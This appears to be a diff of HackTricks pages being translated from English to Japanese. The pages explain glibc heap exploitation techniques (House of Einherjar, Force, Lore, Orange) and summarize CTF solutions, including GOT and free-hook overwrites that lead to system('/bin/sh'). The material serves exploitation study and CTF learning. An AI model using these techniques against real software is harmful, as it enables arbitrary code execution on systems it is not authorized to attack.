{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,48 +2,48 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## 基本情報
### Code ### コード
- Check the example from [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c) - [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c) の例を確認してください
- Or the one from [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation) (you might need to fill the tcache) - または [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation) の例tcacheを埋める必要があるかもしれません
### Goal ### 目標
- The goal is to allocate memory in almost any specific address. - ほぼ任意の特定のアドレスにメモリを割り当てることが目標です。
### Requirements ### 要件
- Create a fake chunk when we want to allocate a chunk: - チャンクを割り当てたいときにフェイクチャンクを作成すること:
- Set pointers to point to itself to bypass sanity checks - サニティチェックを回避するためにポインタを自分自身を指すように設定する
- One-byte overflow with a null byte from one chunk to the next one to modify the `PREV_INUSE` flag. - 一つのチャンクから次のチャンクへのヌルバイトを使った1バイトのオーバーフローで`PREV_INUSE`フラグを変更する。
- Indicate in the `prev_size` of the off-by-null abused chunk the difference between itself and the fake chunk - ヌルオフバイを悪用したチャンクの`prev_size`に自分自身とフェイクチャンクの違いを示す
- The fake chunk size must also have been set the same size to bypass sanity checks - フェイクチャンクのサイズもサニティチェックを回避するために同じサイズに設定されている必要があります
- For constructing these chunks, you will need a heap leak. - これらのチャンクを構築するためには、ヒープリークが必要です。
### Attack ### 攻撃
- `A` fake chunk is created inside a chunk controlled by the attacker pointing with `fd` and `bk` to the original chunk to bypass protections - 攻撃者が制御するチャンク内に`A`フェイクチャンクが作成され、`fd``bk`が元のチャンクを指すように設定されて保護を回避します
- 2 other chunks (`B` and `C`) are allocated - 2つの他のチャンク(`B``C`)が割り当てられます
- Abusing the off by one in the `B` one the `prev in use` bit is cleaned and the `prev_size` data is overwritten with the difference between the place where the `C` chunk is allocated, to the fake `A` chunk generated before - `B`のオフバイワンを悪用して`prev in use`ビットがクリアされ、`prev_size`データが`C`チャンクが割り当てられる場所と以前に生成されたフェイク`A`チャンクとの違いで上書きされます
- This `prev_size` and the size in the fake chunk `A` must be the same to bypass checks. - この`prev_size`とフェイクチャンク`A`のサイズはチェックを回避するために同じでなければなりません。
- Then, the tcache is filled - 次に、tcacheが埋められます
- Then, `C` is freed so it consolidates with the fake chunk `A` - 次に、`C`が解放され、フェイクチャンク`A`と統合されます
- Then, a new chunk `D` is created which will be starting in the fake `A` chunk and covering `B` chunk - 次に、新しいチャンク`D`が作成され、フェイク`A`チャンクから始まり`B`チャンクを覆います
- The house of Einherjar finishes here - エインヘルヤルの家はここで終了します
- This can be continued with a fast bin attack or Tcache poisoning: - これはファストビン攻撃またはTcacheポイズニングで続けることができます
- Free `B` to add it to the fast bin / Tcache - `B`を解放してファストビン/Tcacheに追加します
- `B`'s `fd` is overwritten making it point to the target address abusing the `D` chunk (as it contains `B` inside)&#x20; - `B``fd`が上書きされ、ターゲットアドレスを指すように設定され、`D`チャンクを悪用します(`B`が内部に含まれているため)&#x20;
- Then, 2 mallocs are done and the second one is going to be **allocating the target address** - 次に、2つのmallocが行われ、2つ目は**ターゲットアドレスを割り当てる**ことになります
## References and other examples ## 参考文献と他の例
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c) - [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
- **CTF** [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad) - **CTF** [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad)
- After freeing pointers their aren't nullified, so it's still possible to access their data. Therefore a chunk is placed in the unsorted bin and leaked the pointers it contains (libc leak) and then a new heap is places on the unsorted bin and leaked a heap address from the pointer it gets. - ポインタを解放した後、それらはヌル化されないため、データにアクセスすることがまだ可能です。したがって、チャンクが未整理ビンに配置され、その中に含まれるポインタが漏洩しますlibc leakそして、新しいヒープが未整理ビンに配置され、取得したポインタからヒープアドレスが漏洩します。
- [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/) - [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/)
- Null-byte overflow bug in `strtok`. - `strtok`のヌルバイトオーバーフローバグ。
- Use House of Einherjar to get an overlapping chunks situation and finish with Tcache poisoning ti get an arbitrary write primitive. - エインヘルヤルの家を使用してオーバーラッピングチャンクの状況を取得し、Tcacheポイズニングで任意の書き込みプリミティブを取得します。
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,45 +2,43 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## 基本情報
### Code ### コード
- This technique was patched ([**here**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) and produces this error: `malloc(): corrupted top size` - この技術はパッチが当てられました ([**こちら**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) そしてこのエラーを生成します: `malloc(): corrupted top size`
- You can try the [**code from here**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) to test it if you want. - テストしたい場合は、[**こちらのコード**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html)を試すことができます。
### Goal ### 目標
- The goal of this attack is to be able to allocate a chunk in a specific address. - この攻撃の目標は、特定のアドレスにチャンクを割り当てることができるようにすることです。
### Requirements ### 要件
- An overflow that allows to overwrite the size of the top chunk header (e.g. -1). - トップチャンクヘッダーのサイズを上書きできるオーバーフロー (例: -1)。
- Be able to control the size of the heap allocation - ヒープ割り当てのサイズを制御できること。
### Attack ### 攻撃
If an attacker wants to allocate a chunk in the address P to overwrite a value here. He starts by overwriting the top chunk size with `-1` (maybe with an overflow). This ensures that malloc won't be using mmap for any allocation as the Top chunk will always have enough space. 攻撃者がアドレスPにチャンクを割り当ててここに値を上書きしたい場合、彼はトップチャンクサイズを `-1` で上書きすることから始めます (おそらくオーバーフローを使って)。これにより、mallocはトップチャンクが常に十分なスペースを持つため、どの割り当てもmmapを使用しないことが保証されます。
Then, calculate the distance between the address of the top chunk and the target space to allocate. This is because a malloc with that size will be performed in order to move the top chunk to that position. This is how the difference/size can be easily calculated:
次に、トップチャンクのアドレスと割り当てるターゲットスペースの間の距離を計算します。これは、そのサイズでmallocが実行され、トップチャンクがその位置に移動されるためです。このようにして、差/サイズを簡単に計算できます:
```c ```c
// From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5 // From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5
/* /*
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata): * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
* new_top = old_top + nb * new_top = old_top + nb
* nb = new_top - old_top * nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top * req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long) * req = new_top - old_top - 2sizeof(long)
* req = target - 2sizeof(long) - old_top - 2sizeof(long) * req = target - 2sizeof(long) - old_top - 2sizeof(long)
* req = target - old_top - 4*sizeof(long) * req = target - old_top - 4*sizeof(long)
*/ */
``` ```
したがって、`target - old_top - 4*sizeof(long)`のサイズを割り当てることで4つのlongは、トップチャンクと新しく割り当てられたチャンクのメタデータのためです、トップチャンクを上書きしたいアドレスに移動させます。\
次に、ターゲットアドレスでチャンクを取得するためにもう一度mallocを行います。
Therefore, allocating a size of `target - old_top - 4*sizeof(long)` (the 4 longs are because of the metadata of the top chunk and of the new chunk when allocated) will move the top chunk to the address we want to overwrite.\ ### 参考文献と他の例
Then, do another malloc to get a chunk at the target address.
### References & Other Examples
- [https://github.com/shellphish/how2heap/tree/master](https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file) - [https://github.com/shellphish/how2heap/tree/master](https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file)
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/) - [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/)
@ -48,17 +46,17 @@ Then, do another malloc to get a chunk at the target address.
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c) - [https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c)
- [https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) - [https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html)
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11) - [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11)
- The goal of this scenario is a ret2win where we need to modify the address of a function that is going to be called by the address of the ret2win function - このシナリオの目標はret2winであり、ret2win関数のアドレスによって呼び出される関数のアドレスを変更する必要があります。
- The binary has an overflow that can be abused to modify the top chunk size, which is modified to -1 or p64(0xffffffffffffffff) - バイナリには、トップチャンクのサイズを変更するために悪用できるオーバーフローがあります。これは-1またはp64(0xffffffffffffffff)に変更されます。
- Then, it's calculated the address to the place where the pointer to overwrite exists, and the difference from the current position of the top chunk to there is alloced with `malloc` - 次に、上書きするポインタが存在する場所へのアドレスが計算され、現在のトップチャンクの位置からそこまでの差分が`malloc`で割り当てられます。
- Finally a new chunk is alloced which will contain this desired target inside which is overwritten by the ret2win function - 最後に、この望ましいターゲットを含む新しいチャンクが割り当てられ、これはret2win関数によって上書きされます。
- [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp) - [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
- In the `Input your name:` there is an initial vulnerability that allows to leak an address from the heap - `Input your name:`には、ヒープからアドレスを漏洩させる初期の脆弱性があります。
- Then in the `Org:` and `Host:` functionality its possible to fill the 64B of the `s` pointer when asked for the **org name**, which in the stack is followed by the address of v2, which is then followed by the indicated **host name**. As then, strcpy is going to be copying the contents of s to a chunk of size 64B, it's possible to **overwrite the size of the top chunk** with the data put inside the **host name**. - 次に、`Org:`および`Host:`機能では、**org name**を求められたときに`s`ポインタの64Bを埋めることが可能です。これはスタック上でv2のアドレスの後に続き、次に指定された**host name**が続きます。その後、strcpyがsの内容を64Bのチャンクにコピーするため、**host name**に入れたデータで**トップチャンクのサイズを上書きする**ことが可能です。
- Now that arbitrary write it possible, the `atoi`'s GOT was overwritten to the address of printf. the it as possible to leak the address of `IO_2_1_stderr` _with_ `%24$p`. And with this libc leak it was possible to overwrite `atoi`'s GOT again with the address to `system` and call it passing as param `/bin/sh` - 任意の書き込みが可能になった今、`atoi`のGOTはprintfのアドレスに上書きされました。その後、`IO_2_1_stderr`のアドレスを`%24$p`で漏洩させることができました。このlibcの漏洩により、再び`atoi`のGOTを`system`のアドレスで上書きし、`/bin/sh`を引数として呼び出すことができました。
- An alternative method [proposed in this other writeup](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud), is to overwrite `free` with `puts`, and then add the address of `atoi@got`, in the pointer that will be later freed so it's leaked and with this leak overwrite again `atoi@got` with `system` and call it with `/bin/sh`. - 別の方法として[この他の文書で提案された](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud)のは、`free``puts`で上書きし、その後`atoi@got`のアドレスを後で解放されるポインタに追加することで、漏洩させ、この漏洩を使って再び`atoi@got``system`で上書きし、`/bin/sh`で呼び出すことです。
- [https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) - [https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html)
- There is a UAF allowing to reuse a chunk that was freed without clearing the pointer. Because there are some read methods, it's possible to leak a libc address writing a pointer to the free function in the GOT here and then calling the read function. - ポインタをクリアせずに解放されたチャンクを再利用できるUAFがあります。いくつかの読み取りメソッドがあるため、ここでGOTにfree関数へのポインタを書き込むことでlibcアドレスを漏洩させ、その後読み取り関数を呼び出すことが可能です。
- Then, House of force was used (abusing the UAF) to overwrite the size of the left space with a -1, allocate a chunk big enough to get tot he free hook, and then allocate another chunk which will contain the free hook. Then, write in the hook the address of `system`, write in a chunk `"/bin/sh"` and finally free the chunk with that string content. - 次に、House of forceが使用されUAFを悪用して、左側のスペースのサイズを-1で上書きし、free hookに到達するのに十分な大きさのチャンクを割り当て、次にfree hookを含む別のチャンクを割り当てます。その後、フックに`system`のアドレスを書き込み、チャンクに`"/bin/sh"`を書き込み、最後にその文字列内容を持つチャンクを解放します。
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,43 +2,43 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## 基本情報
### Code ### コード
- Check the one from [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/) - [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)のものを確認してください
- This isn't working - これは動作していません
- Or: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c) - または: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c)
- This isn't working even if it tries to bypass some checks getting the error: `malloc(): unaligned tcache chunk detected` - これは、エラー`malloc(): unaligned tcache chunk detected`を取得しようとする場合でも動作していません
- This example is still working: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)&#x20; - この例はまだ動作しています: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)&#x20;
### Goal ### 目標
- Insert a **fake small chunk in the small bin so then it's possible to allocate it**.\ - **小さなビンに偽の小さなチャンクを挿入して、それを割り当て可能にする**こと。\
Note that the small chunk added is the fake one the attacker creates and not a fake one in an arbitrary position. 追加された小さなチャンクは攻撃者が作成した偽のものであり、任意の位置にある偽のものではないことに注意してください。
### Requirements ### 要件
- Create 2 fake chunks and link them together and with the legit chunk in the small bin: - 2つの偽のチャンクを作成し、それらを小さなビン内の正当なチャンクとリンクさせる:
- `fake0.bk` -> `fake1` - `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0` - `fake1.fd` -> `fake0`
- `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln) - `fake0.fd` -> `legit`(他の脆弱性を介して解放された小さなビンチャンク内のポインタを修正する必要があります)
- `legit.bk` -> `fake0` - `legit.bk` -> `fake0`
Then you will be able to allocate `fake0`. これにより、`fake0`を割り当てることができるようになります。
### Attack ### 攻撃
- A small chunk (`legit`) is allocated, then another one is allocated to prevent consolidating with top chunk. Then, `legit` is freed (moving it to the unsorted bin list) and the a larger chunk is allocated, **moving `legit` it to the small bin.** - 小さなチャンク(`legit`)が割り当てられ、次に別のチャンクが割り当てられてトップチャンクとの統合を防ぎます。次に、`legit`が解放され(未ソートビンリストに移動)、より大きなチャンクが割り当てられ、**`legit`が小さなビンに移動します。**
- An attacker generates a couple of fake small chunks, and makes the needed linking to bypass sanity checks: - 攻撃者は一対の偽の小さなチャンクを生成し、整合性チェックを回避するために必要なリンクを作成します:
- `fake0.bk` -> `fake1` - `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0` - `fake1.fd` -> `fake0`
- `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln) - `fake0.fd` -> `legit`(他の脆弱性を介して解放された小さなビンチャンク内のポインタを修正する必要があります)
- `legit.bk` -> `fake0` - `legit.bk` -> `fake0`
- A small chunk is allocated to get legit, making **`fake0`** into the top list of small bins - 小さなチャンクが割り当てられ、`legit`を取得し、**`fake0`**を小さなビンのトップリストにします
- Another small chunk is allocated, getting `fake0` as a chunk, allowing potentially to read/write pointers inside of it. - 別の小さなチャンクが割り当てられ、`fake0`がチャンクとして取得され、その内部のポインタを読み書きする可能性を許可します。
## References ## 参考文献
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/) - [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)
- [https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore](https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore) - [https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore](https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore)

View File

@ -2,72 +2,72 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## 基本情報
### Code ### コード
- Find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c) - [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c) で例を見つける
- The exploitation technique was fixed in this [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) so this is no longer working (working in earlier than 2.26) - この [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) で脆弱性が修正されたため、これはもはや機能しません2.26より前のバージョンでは動作します)
- Same example **with more comments** in [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html) - [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html) での**コメントが多い同じ例**
### Goal ### 目標
- Abuse `malloc_printerr` function - `malloc_printerr` 関数を悪用する
### Requirements ### 要件
- Overwrite the top chunk size - トップチャンクサイズを上書きする
- Libc and heap leaks - Libc とヒープのリーク
### Background ### 背景
Some needed background from the comments from [**this example**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)**:** [**この例**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)**からの必要な背景:**
Thing is, in older versions of libc, when the `malloc_printerr` function was called it would **iterate through a list of `_IO_FILE` structs stored in `_IO_list_all`**, and actually **execute** an instruction pointer in that struct.\ 古いバージョンの libc では、`malloc_printerr` 関数が呼び出されると、**`_IO_list_all` に格納された `_IO_FILE` 構造体のリストを反復処理**し、実際にその構造体内の命令ポインタを**実行**していました。\
This attack will forge a **fake `_IO_FILE` struct** that we will write to **`_IO_list_all`**, and cause `malloc_printerr` to run.\ この攻撃では、**偽の `_IO_FILE` 構造体**を作成し、**`_IO_list_all`** に書き込み、`malloc_printerr` を実行させます。\
Then it will **execute whatever address** we have stored in the **`_IO_FILE`** structs jump table, and we will get code execution その後、**`_IO_FILE`** 構造体のジャンプテーブルに格納された**任意のアドレス**を実行し、コード実行を得ることができます。
### Attack ### 攻撃
The attack starts by managing to get the **top chunk** inside the **unsorted bin**. This is achieved by calling `malloc` with a size greater than the current top chunk size but smaller than **`mmp_.mmap_threshold`** (default is 128K), which would otherwise trigger `mmap` allocation. Whenever the top chunk size is modified, it's important to ensure that the **top chunk + its size** is page-aligned and that the **prev_inuse** bit of the top chunk is always set. 攻撃は、**未ソートビン**内の**トップチャンク**を取得することから始まります。これは、現在のトップチャンクサイズより大きいが、**`mmp_.mmap_threshold`**デフォルトは128Kより小さいサイズで `malloc` を呼び出すことで達成されます。そうしないと、`mmap` アロケーションがトリガーされます。トップチャンクサイズが変更されるときは、**トップチャンク + サイズ**がページアラインされていること、そしてトップチャンクの**prev_inuse**ビットが常に設定されていることを確認することが重要です。
To get the top chunk inside the unsorted bin, allocate a chunk to create the top chunk, change the top chunk size (with an overflow in the allocated chunk) so that **top chunk + size** is page-aligned with the **prev_inuse** bit set. Then allocate a chunk larger than the new top chunk size. Note that `free` is never called to get the top chunk into the unsorted bin. 未ソートビン内のトップチャンクを取得するには、トップチャンクを作成するためにチャンクを割り当て、トップチャンクサイズを変更(割り当てられたチャンク内のオーバーフローを使用)して、**トップチャンク + サイズ**がページアラインされ、**prev_inuse**ビットが設定されていることを確認します。その後、新しいトップチャンクサイズより大きいチャンクを割り当てます。`free` は未ソートビンにトップチャンクを取得するために決して呼び出されないことに注意してください。
The old top chunk is now in the unsorted bin. Assuming we can read data inside it (possibly due to a vulnerability that also caused the overflow), its possible to leak libc addresses from it and get the address of **\_IO_list_all**. 古いトップチャンクは現在未ソートビンにあります。内部のデータを読み取ることができると仮定すると(おそらくオーバーフローを引き起こした脆弱性のため)、そこから libc アドレスをリークし、**\_IO_list_all** のアドレスを取得することが可能です。
An unsorted bin attack is performed by abusing the overflow to write `topChunk->bk->fwd = _IO_list_all - 0x10`. When a new chunk is allocated, the old top chunk will be split, and a pointer to the unsorted bin will be written into **`_IO_list_all`**. 未ソートビン攻撃は、オーバーフローを悪用して `topChunk->bk->fwd = _IO_list_all - 0x10` と書き込むことで実行されます。新しいチャンクが割り当てられると、古いトップチャンクが分割され、未ソートビンへのポインタが**`_IO_list_all`** に書き込まれます。
The next step involves shrinking the size of the old top chunk to fit into a small bin, specifically setting its size to **0x61**. This serves two purposes: 次のステップは、古いトップチャンクのサイズを小さなビンに収まるように縮小し、特にそのサイズを**0x61**に設定することです。これには二つの目的があります:
1. **Insertion into Small Bin 4**: When `malloc` scans through the unsorted bin and sees this chunk, it will try to insert it into small bin 4 due to its small size. This makes the chunk end up at the head of the small bin 4 list which is the location of the FD pointer of the chunk of **`_IO_list_all`** as we wrote a close address in **`_IO_list_all`** via the unsorted bin attack. 1. **小さなビン4への挿入**: `malloc` が未ソートビンをスキャンし、このチャンクを見つけると、その小さなサイズのために小さなビン4に挿入しようとします。これにより、チャンクが**`_IO_list_all`**のFDポインタの位置である小さなビン4リストの先頭に配置されます。
2. **Triggering a Malloc Check**: This chunk size manipulation will cause `malloc` to perform internal checks. When it checks the size of the false forward chunk, which will be zero, it triggers an error and calls `malloc_printerr`. 2. **Malloc チェックのトリガー**: このチャンクサイズの操作により、`malloc` が内部チェックを実行します。偽のフォワードチャンクのサイズがゼロであるとき、エラーがトリガーされ、`malloc_printerr` が呼び出されます。
The manipulation of the small bin will allow you to control the forward pointer of the chunk. The overlap with **\_IO_list_all** is used to forge a fake **\_IO_FILE** structure. The structure is carefully crafted to include key fields like `_IO_write_base` and `_IO_write_ptr` set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code (e.g., the `system` function) can be executed. 小さなビンの操作により、チャンクのフォワードポインタを制御できるようになります。**\_IO_list_all**とのオーバーラップを使用して、偽の**\_IO_FILE**構造体を作成します。この構造体は、`_IO_write_base``_IO_write_ptr` などの重要なフィールドを含むように慎重に作成され、libc の内部チェックを通過する値に設定されます。さらに、偽の構造体内にジャンプテーブルが作成され、命令ポインタが任意のコード(例:`system` 関数)を実行できるアドレスに設定されます。
To summarize the remaining part of the technique: 技術の残りの部分を要約すると:
- **Shrink the Old Top Chunk**: Adjust the size of the old top chunk to **0x61** to fit it into a small bin. - **古いトップチャンクを縮小**: 古いトップチャンクのサイズを**0x61**に調整して小さなビンに収めます。
- **Set Up the Fake `_IO_FILE` Structure**: Overlap the old top chunk with the fake **\_IO_FILE** structure and set fields appropriately to hijack execution flow. - **偽の `_IO_FILE` 構造体を設定**: 古いトップチャンクと偽の**\_IO_FILE**構造体をオーバーラップさせ、フィールドを適切に設定して実行フローをハイジャックします。
The next step involves forging a fake **\_IO_FILE** structure that overlaps with the old top chunk currently in the unsorted bin. The first bytes of this structure are crafted carefully to include a pointer to a command (e.g., "/bin/sh") that will be executed. 次のステップは、未ソートビンに現在ある古いトップチャンクとオーバーラップする偽の**\_IO_FILE**構造体を作成することです。この構造体の最初のバイトは、実行されるコマンド(例:"/bin/sh")へのポインタを含むように慎重に作成されます。
Key fields in the fake **\_IO_FILE** structure, such as `_IO_write_base` and `_IO_write_ptr`, are set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code can be executed. Typically, this would be the address of the `system` function or another function that can execute shell commands. 偽の**\_IO_FILE**構造体の重要なフィールド、例えば `_IO_write_base``_IO_write_ptr` は、libc の内部チェックを通過する値に設定されます。さらに、偽の構造体内にジャンプテーブルが作成され、命令ポインタが任意のコードを実行できるアドレスに設定されます。通常、これは `system` 関数のアドレスやシェルコマンドを実行できる他の関数のアドレスになります。
The attack culminates when a call to `malloc` triggers the execution of the code through the manipulated **\_IO_FILE** structure. This effectively allows arbitrary code execution, typically resulting in a shell being spawned or another malicious payload being executed. 攻撃は、`malloc` の呼び出しが操作された**\_IO_FILE**構造体を通じてコードの実行をトリガーすることで culminates します。これにより、任意のコード実行が可能になり、通常はシェルが生成されるか、他の悪意のあるペイロードが実行されます。
**Summary of the Attack:** **攻撃の要約:**
1. **Set up the top chunk**: Allocate a chunk and modify the top chunk size. 1. **トップチャンクを設定**: チャンクを割り当て、トップチャンクサイズを変更します。
2. **Force the top chunk into the unsorted bin**: Allocate a larger chunk. 2. **トップチャンクを未ソートビンに強制的に入れる**: より大きなチャンクを割り当てます。
3. **Leak libc addresses**: Use the vulnerability to read from the unsorted bin. 3. **libc アドレスをリーク**: 脆弱性を利用して未ソートビンから読み取ります。
4. **Perform the unsorted bin attack**: Write to **\_IO_list_all** using an overflow. 4. **未ソートビン攻撃を実行**: オーバーフローを使用して**\_IO_list_all**に書き込みます。
5. **Shrink the old top chunk**: Adjust its size to fit into a small bin. 5. **古いトップチャンクを縮小**: 小さなビンに収まるようにサイズを調整します。
6. **Set up a fake \_IO_FILE structure**: Forge a fake file structure to hijack control flow. 6. **偽の \_IO_FILE 構造体を設定**: 制御フローをハイジャックするために偽のファイル構造体を作成します。
7. **Trigger code execution**: Allocate a chunk to execute the attack and run arbitrary code. 7. **コード実行をトリガー**: チャンクを割り当てて攻撃を実行し、任意のコードを実行します。
